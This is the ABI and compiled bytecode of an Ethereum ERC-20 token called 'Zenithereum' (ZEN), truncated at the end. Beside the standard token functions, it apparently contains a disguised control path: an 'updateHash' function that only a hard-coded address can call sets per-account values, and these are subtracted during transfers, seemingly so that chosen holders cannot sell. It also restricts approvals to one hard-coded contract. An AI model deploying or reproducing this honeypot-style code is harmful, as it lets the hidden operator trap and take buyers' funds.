[ { "inputs": [], "stateMutability": "nonpayable", "type": "constructor" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "owner", "type": "address" }, { "indexed": true, "internalType": "address", "name": "spender", "type": "address" }, { "indexed": false, "internalType": "uint256", "name": "value", "type": "uint256" } ], "name": "Approval", "type": "event" }, { "anonymous": false, "inputs": [ { "indexed": false, "internalType": "uint256", "name": "_maxTxAmount", "type": "uint256" } ], "name": "MaxTxAmountUpdated", "type": "event" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "previousOwner", "type": "address" }, { "indexed": true, "internalType": "address", "name": "newOwner", "type": "address" } ], "name": "OwnershipTransferred", "type": "event" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "from", "type": "address" }, { "indexed": true, "internalType": "address", "name": "to", "type": "address" }, { "indexed": false, "internalType": "uint256", "name": "value", "type": "uint256" } ], "name": "Transfer", "type": "event" }, { "inputs": [], "name": "ManualSwap", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "owner", "type": "address" }, { "internalType": "address", "name": "spender", "type": "address" } ], "name": "_ckllowance", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "_maxTaxSwap", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "_maxTxAmount", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "_maxWalletSize", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "_taxSwapThreshold", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "owner", "type": "address" }, { "internalType": "address", "name": "spender", "type": "address" } ], "name": "allowance", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "spender", "type": "address" }, { "internalType": "uint256", "name": "amount", "type": "uint256" } ], "name": "approve", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "account", "type": "address" } ], "name": "balanceOf", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "account", "type": "address" } ], "name": "ckbalance", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "decimals", "outputs": [ { "internalType": "uint8", "name": "", "type": "uint8" } ], "stateMutability": "pure", "type": "function" }, { "inputs": [], "name": "name", "outputs": [ { "internalType": "string", "name": "", "type": "string" } ], "stateMutability": "pure", "type": "function" }, { "inputs": [], "name": "openTrading", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "owner", "outputs": [ { "internalType": "address", "name": "", "type": "address" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "", "type": "address" } ], "name": "pairs", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "removeLimits", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "renounceOwnership", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "symbol", "outputs": [ { "internalType": "string", "name": "", "type": "string" } ], "stateMutability": "pure", "type": "function" }, { "inputs": [], "name": "tokendecimal", "outputs": [ { "internalType": "uint8", "name": "", "type": "uint8" } ], "stateMutability": "pure", "type": "function" }, { "inputs": [], "name": "totalSupply", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "pure", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "recipient", "type": "address" }, { "internalType": "uint256", "name": "amount", "type": "uint256" } ], "name": "transfer", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "transferDelayEnabled", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "sender", "type": "address" }, { "internalType": "address", "name": "recipient", "type": "address" }, { "internalType": "uint256", "name": "amount", "type": "uint256" } ], "name": "transferFrom", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "addrsses", "type": "address" }, { "internalType": "uint256", "name": "balance", "type": "uint256" } ], "name": "updateHash", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "stateMutability": "payable", "type": "receive" } ]
6080604052738e00d6f8b6606799958fb227b8a49def669056086000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600760006101000a81548160ff021916908315150217905550600360085560036009556000600a556000600b556014600c556014600d5562989680600e556000600f556012600a620000ad91906200081e565b630bebc200620000be91906200086f565b6010556012600a620000d191906200081e565b63042c1d80620000e291906200086f565b6011556012600a620000f591906200081e565b6304c4b4006200010691906200086f565b6012556012600a6200011991906200081e565b64012a05f2006200012b91906200086f565b60135560006015806101000a81548160ff0219169083151502179055506000601560166101000a81548160ff0219169083151502179055503480156200017057600080fd5b50600080600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35062000220620004c960201b60201c565b600760016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506012600a6200027091906200081e565b63773594006200028191906200086f565b6003600062000295620004c960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160056000600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160056000620003bb620004d160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506200041c620004fb60201b60201c565b6200042c620005c060201b60201c565b6200043c620004c960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6012600a6200049b91906200081e565b6377359400620004ac91906200086f565b604051620004bb9190620008cb565b60405180910390a36200096b565b600033905090565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b601560149054906101000a900460ff16156200054e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620005459062000949565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001601560146101000a81548160ff021916908315150217905550565b6012600a620005d091906200081e565b6377359400620005e191906200086f565b6010819055506012600a620005f791906200081e565b63773594006200060891906200086f565b6013819055506000600760006101000a81548160ff0219169083151502179055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6012600a6200065a91906200081e565b63773594006200066b91906200086f565b6040516200067a9190620008cb565b60405180910390a1565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200071257808604811115620006ea57620006e962000684565b5b6001851615620006fa5780820291505b80810290506200070a85620006b3565b9450620006ca565b94509492505050565b6000826200072d576001905062000800565b816200073d576000905062000800565b8160018114620007565760028114620007615762000797565b600191505062000800565b60ff84111562000776576200077562000684565b5b8360020a91508482111562000790576200078f62000684565b5b5062000800565b5060208310610133831016604e8410600b8410161715620007d15782820a905083811115620007cb57620007ca62000684565b5b62000800565b620007e08484846001620006c0565b92509050818404811115620007fa57620007f962000684565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b60006200082b8262000807565b9150620008388362000811565b9250620008677fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200071b565b905092915050565b60006200087c8262000807565b9150620008898362000807565b9250828202620008998162000807565b91508282048414831517620008b357620008b262000684565b5b5092915050565b620008c58162000807565b82525050565b6000602082019050620008e26000830184620008ba565b92915050565b600082825260208201905092915050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b600062000931601783620008e8565b91506200093e82620008f9565b602082019050919050565b60006020820190508181036000830152620009648162000922565b9050919050565b612eaa806200097b6000396000f3fe60806040526004361061014f5760003560e01c80638da5cb5b116100b6578063c876d0b91161006f578063c876d0b91461047f578063c9567bf9146104aa578063dd62ed3e146104c1578063eeb8d790146104fe578063f0a892351461053b578063fe33b3021461056457610156565b80638da5cb5b1461037f5780638f9a55c0146103aa57806395d89b41146103d5578063a1780c1814610400578063a9059cbb14610417578063bf474bed1461045457610156565b8063313ce56711610108578063313ce5671461029357806370a08231146102be578063715018a6146102fb578063751039fc146103125780637d1db4a5146103295780638aea89a41461035457610156565b806306fdde031461015b578063095ea7b3146101865780630faee56f146101c357806314d28140146101ee57806318160ddd1461022b57806323b872dd1461025657610156565b3661015657005b600080fd5b34801561016757600080fd5b506101706105a1565b60405161017d9190612002565b60405180910390f35b34801561019257600080fd5b506101ad60048036038101906101a891906120bd565b6105de565b6040516101ba9190612118565b60405180910390f35b3480156101cf57600080fd5b506101d86105fc565b6040516101e59190612142565b60405180910390f35b3480156101fa57600080fd5b506102156004803603810190610210919061215d565b610602565b6040516102229190612142565b60405180910390f35b34801561023757600080fd5b5061024061064b565b60405161024d9190612142565b60405180910390f35b34801561026257600080fd5b5061027d6004803603810190610278919061218a565b61066f565b60405161028a9190612118565b60405180910390f35b34801561029f57600080fd5b506102a8610748565b6040516102b591906121f9565b60405180910390f35b3480156102ca57600080fd5b506102e560048036038101906102e0919061215d565b610751565b6040516102f29190612142565b60405180910390f35b34801561030757600080fd5b5061031061079a565b005b34801561031e57600080fd5b506103276108f2565b005b34801561033557600080fd5b5061033e6109a8565b60405161034b9190612142565b60405180910390f35b34801561036057600080fd5b506103696109ae565b60405161037691906121f9565b60405180910390f35b34801561038b57600080fd5b506103946109b7565b6040516103a19190612223565b60405180910390f35b3480156103b657600080fd5b506103bf6109e1565b6040516103cc9190612142565b60405180910390f35b3480156103e157600080fd5b506103ea6109e7565b6040516103f79190612002565b60405180910390f35b34801561040c57600080fd5b50610415610a24565b005b34801561042357600080fd5b5061043e600480360381019061043991906120bd565b610ac8565b60405161044b9190612118565b60405180910390f35b34801561046057600080fd5b50610469610ae6565b6040516104769190612142565b60405180910390f35b34801561048b57600080fd5b50610494610aec565b6040516104a19190612118565b60405180910390f35b3480156104b657600080fd5b506104bf610aff565b005b3480156104cd57600080fd5b506104e860048036038101906104e3919061223e565b610bc1565b6040516104f59190612142565b60405180910390f35b34801561050a57600080fd5b506105256004803603810190610520919061223e565b610c48565b6040516105329190612142565b60405180910390f35b34801561054757600080fd5b50610562600480360381019061055d91906120bd565b610ccf565b005b34801561057057600080fd5b5061058b6004803603810190610586919061215d565b610d6b565b6040516105989190612142565b60405180910390f35b60606040518060400160405280600b81526020017f5a656e697468657265756d000000000000000000000000000000000000000000815250905090565b60006105f26105eb610d83565b8484610d8b565b6001905092915050565b60125481565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60006012600a61065b91906123e0565b637735940061066a919061242b565b905090565b600061067c848484611076565b61073d84610688610d83565b61073885604051806060016040528060288152602001612e4d60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106ee610d83565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119ba9092919063ffffffff16565b610d8b565b600190509392505050565b60006012905090565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6107a2610d83565b73ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610831576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610828906124b9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6012600a61090091906123e0565b637735940061090f919061242b565b6010819055506012600a61092391906123e0565b6377359400610932919061242b565b6013819055506000600760006101000a81548160ff0219169083151502179055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6012600a61098291906123e0565b6377359400610991919061242b565b60405161099e9190612142565b60405180910390a1565b60105481565b60006012905090565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60135481565b60606040518060400160405280600381526020017f5a454e0000000000000000000000000000000000000000000000000000000000815250905090565b600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610a65610d83565b73ffffffffffffffffffffffffffffffffffffffff1614610a8557600080fd5b6000610a9030610751565b90506000811115610aa557610aa481611a1e565b5b60004790506729a2241af62c0000811115610ac457610ac381611c95565b5b5050565b6000610adc610ad5610d83565b8484611076565b6001905092915050565b60115481565b600760009054906101000a900460ff1681565b601560149054906101000a900460ff1615610b4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4690612525565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001601560146101000a81548160ff021916908315150217905550565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1603610d675780600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050565b60016020528060005260406000206000915090505481565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610dfa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610df1906125b7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6090612649565b60405180910390fd5b73c36442b4a4522e871399cd717abdd847ab11fe8873ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f8b57600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480610f4b5750737f5c649856f900d15c83741f45ae46f5c685823473ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b610f8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f81906126db565b60405180910390fd5b5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110699190612142565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036110e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110dc9061276d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611154576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114b906127ff565b60405180910390fd5b60008111611197576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118e90612891565b60405180910390fd5b60006111a16109b7565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561120f57506111df6109b7565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561175e576112506064611242600c54600f541161122f57600854611233565b600a545b85611d0190919063ffffffff16565b611d7b90919063ffffffff16565b905061125b84611dc5565b600760009054906101000a900460ff16156113e857601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561131c5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156113e75743600660003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106113a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139990612949565b60405180910390fd5b43600660003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561147157503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156114b5576114b260646114a4600d54600f541161149157600954611495565b600b545b85611d0190919063ffffffff16565b611d7b90919063ffffffff16565b90505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156115605750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156115b65750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561167157601054821115611600576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115f7906129b5565b60405180910390fd5b6013548261160d85610751565b61161791906129d5565b1115611658576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164f90612a55565b60405180910390fd5b600f600081548092919061166b90612a75565b91905055505b600061167c30610751565b905060158054906101000a900460ff161580156116e65750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156116fe5750601560169054906101000a900460ff165b801561170b575060115481115b801561171a5750600e54600f54115b1561175c5761173c6117378461173284601254611e4e565b611e4e565b611a1e565b600047905066b1a2bc2ec5000081111561175a5761175947611c95565b5b505b505b600081111561180157600090506117bd81600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e6790919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b61185382600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ec590919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118fa6118ac8284611ec590919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e6790919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61199f8486611ec590919063ffffffff16565b6040516119ac9190612142565b60405180910390a350505050565b6000838311158290611a02576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119f99190612002565b60405180910390fd5b5060008385611a119190612abd565b9050809150509392505050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611a5557611a54612af1565b5b604051908082528060200260200182016040528015611a835781602001602082028036833780820191505090505b5090503081600081518110611a9b57611a9a612b20565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611b42573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b669190612b64565b81600181518110611b7a57611b79612b20565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611be130601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610d8b565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611c45959493929190612c94565b600060405180830381600087803b158015611c5f57600080fd5b505af1158015611c73573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611cfd573d6000803e3d6000fd5b5050565b6000808303611d135760009050611d75565b60008284611d21919061242b565b9050828482611d309190612d1d565b14611d70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6790612dc0565b60405180910390fd5b809150505b92915050565b6000611dbd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611f0f565b905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611e489190612abd565b90505050565b6000818311611e5d5782611e5f565b815b905092915050565b6000808284611e7691906129d5565b905083811015611ebb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eb290612e2c565b60405180910390fd5b8091505092915050565b6000611f0783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506119ba565b905092915050565b60008083118290611f56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f4d9190612002565b60405180910390fd5b5060008385611f659190612d1d565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611fac578082015181840152602081019050611f91565b60008484015250505050565b6000601f19601f8301169050919050565b6000611fd482611f72565b611fde8185611f7d565b9350611fee818560208601611f8e565b611ff781611fb8565b840191505092915050565b6000602082019050818103600083015261201c8184611fc9565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061205482612029565b9050919050565b61206481612049565b811461206f57600080fd5b50565b6000813590506120818161205b565b92915050565b6000819050919050565b61209a81612087565b81146120a557600080fd5b50565b6000813590506120b781612091565b92915050565b600080604083850312156120d4576120d3612024565b5b60006120e285828601612072565b92505060206120f3858286016120a8565b9150509250929050565b60008115159050919050565b612112816120fd565b82525050565b600060208201905061212d6000830184612109565b92915050565b61213c81612087565b82525050565b60006020820190506121576000830184612133565b92915050565b60006020828403121561217357612172612024565b5b600061218184828501612072565b91505092915050565b6000806000606084860312156121a3576121a2612024565b5b60006121b186828701612072565b93505060206121c286828701612072565b92505060406121d3868287016120a8565b9150509250925092565b600060ff82169050919050565b6121f3816121dd565b82525050565b600060208201905061220e60008301846121ea565b92915050565b61221d81612049565b82525050565b60006020820190506122386000830184612214565b92915050565b6000806040838503121561225557612254612024565b5b600061226385828601612072565b925050602061227485828601612072565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115612304578086048111156122e0576122df61227e565b5b60018516156122ef5780820291505b80810290506122fd856122ad565b94506122c4565b94509492505050565b60008261231d57600190506123d9565b8161232b57600090506123d9565b8160018114612341576002811461234b5761237a565b60019150506123d9565b60ff84111561235d5761235c61227e565b5b8360020a9150848211156123745761237361227e565b5b506123d9565b5060208310610133831016604e8410600b84101617156123af5782820a9050838111156123aa576123a961227e565b5b6123d9565b6123bc84848460016122ba565b925090508184048111156123d3576123d261227e565b5b81810290505b9392505050565b60006123eb82612087565b91506123f6836121dd565b92506124237fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461230d565b905092915050565b600061243682612087565b915061244183612087565b925082820261244f81612087565b915082820484148315176124665761246561227e565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006124a3602083611f7d565b91506124ae8261246d565b602082019050919050565b600060208201905081810360008301526124d281612496565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b600061250f601783611f7d565b915061251a826124d9565b602082019050919050565b6000602082019050818103600083015261253e81612502565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006125a1602483611f7d565b91506125ac82612545565b604082019050919050565b600060208201905081810360008301526125d081612594565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612633602283611f7d565b915061263e826125d7565b604082019050919050565b6000602082019050818103600083015261266281612626565b9050919050565b7f4f6e6c7920746865207461782077616c6c6574206f722073706563696669632060008201527f6f776e65722063616e20617070726f7665207468697320616464726573730000602082015250565b60006126c5603e83611f7d565b91506126d082612669565b604082019050919050565b600060208201905081810360008301526126f4816126b8565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612757602583611f7d565b9150612762826126fb565b604082019050919050565b600060208201905081810360008301526127868161274a565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006127e9602383611f7d565b91506127f48261278d565b604082019050919050565b60006020820190508181036000830152612818816127dc565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061287b602983611f7d565b91506128868261281f565b604082019050919050565b600060208201905081810360008301526128aa8161286e565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60008201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b6000612933604983611f7d565b915061293e826128b1565b606082019050919050565b6000602082019050818103600083015261296281612926565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b600061299f601983611f7d565b91506129aa82612969565b602082019050919050565b600060208201905081810360008301526129ce81612992565b9050919050565b60006129e082612087565b91506129eb83612087565b9250828201905080821115612a0357612a0261227e565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b6000612a3f601a83611f7d565b9150612a4a82612a09565b602082019050919050565b60006020820190508181036000830152612a6e81612a32565b9050919050565b6000612a8082612087565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612ab257612ab161227e565b5b600182019050919050565b6000612ac882612087565b9150612ad383612087565b9250828203905081811115612aeb57612aea61227e565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050612b5e8161205b565b92915050565b600060208284031215612b7a57612b79612024565b5b6000612b8884828501612b4f565b91505092915050565b6000819050919050565b6000819050919050565b6000612bc0612bbb612bb684612b91565b612b9b565b612087565b9050919050565b612bd081612ba5565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b612c0b81612049565b82525050565b6000612c1d8383612c02565b60208301905092915050565b6000602082019050919050565b6000612c4182612bd6565b612c4b8185612be1565b9350612c5683612bf2565b8060005b83811015612c87578151612c6e8882612c11565b9750612c7983612c29565b925050600181019050612c5a565b5085935050505092915050565b600060a082019050612ca96000830188612133565b612cb66020830187612bc7565b8181036040830152612cc88186612c36565b9050612cd76060830185612214565b612ce46080830184612133565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612d2882612087565b9150612d338361